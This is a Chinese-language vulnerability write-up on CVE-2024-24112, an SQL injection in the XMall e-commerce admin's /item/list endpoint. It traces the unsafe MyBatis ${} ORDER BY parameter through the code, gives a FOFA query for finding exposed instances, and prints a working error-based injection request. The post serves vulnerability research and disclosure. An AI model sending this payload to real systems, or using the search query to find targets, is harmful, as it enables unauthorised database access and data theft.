CVE-2024-24112 ——Exrick XMall 商城 SQL注入漏洞

xiao1star2025-04-11文章来源:SecHub网络安全社区


CVE-2024-24112 ——Exrick XMall 商城 SQL注入漏洞

漏洞简述

基于SOA架构的分布式电商购物商城 前后端分离前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/ELasticsearch/Redis/Mysql/ActiveMQ/Shrio/Zookeeper等在/item/list接口存在SQL注入漏洞,会造成数据泄露。

影响版本

xmall-1.1版本

漏洞分析

打开目录大致撇了一眼是十分清晰的MVC结构,发现有一个dao层,进去点点点发现有许多.xml文件,猜测使用的是mybatis连接的数据

202409181954895.png

随便进入一个.xml文件中发现在它的头部有mybatis.org,没错了就是mybatis方法连接的数据库,总所周知${}的参数拼接方式容易导致sql注入的形成,接下来就进入我们的一波分析吧

202409181955287.png

漏洞出现在\xmall-manager-web的Controller层下的ItemController.java中的getItemSearchList方法中

202409182002153.png

分析:首先可以知道路由是/item/list,且传参方式是GET方式,我们进入方法内容看看,首先是接收了来此前端的search[value]order[0][column]order[0][dir]参数并将其赋值给对应的变量,接着就是创建了一个cols的数组用于获取客户端需要排序的列,接着又将cols数组中的orderCol键的值赋值给orderColumn,接着进行了一次非空判断,然后设置了排序,紧接着调用了itemServicegetItemList方法进行了数据的查询操作并将结果返回。

Ctrl点击接着来到getItemList方法中这是一个Service接口,我们需要到它的实现类中一探究竟

202409182009230.png

通过全局搜搜,来到了ItemServiceImpl实现类中

202409182012242.png

分析:首先是创建一个新的DataTablesResult对象,用于存储查询结果;接着使用使用PageHelper插件开始分页,计算当前页码;然后调用tbItemMapperselectItemByMultiCondition方法根据传入的条件进行查询,返回一个TbItem对象的列表;创建了PageInfo对象,用于封装分页信息;接着设置过滤后的记录总数、设置draw参数并将查询到的列表设置为结果的数据,最后返回DataTablesResult对象

接下来到selectItemByMultiCondition方法中,这也是一个Mapper接口

202409182019472.png

我们进入到TbItemMapper.xml中查看其方法的实现

202409182021067.png

分析:我们发现在ORDER BY中使用了${}方式进行sql语句的填充方式,其参数为orderColorderDir,要知道orderDir参数是由用户可以控制的order[0][dir]参数,并且在整个sql语句构造到执行的过程中没有对sql语句进行任何的过滤进而造成了sql注入

资产测绘

fafo

app="XMall-后台管理系统"

202409181745684.png

漏洞复现

poc

GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,md5(102103122),0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D&search%5Bregex%5D=false&cid=-1&_=1679041197136 HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

202409181743010.png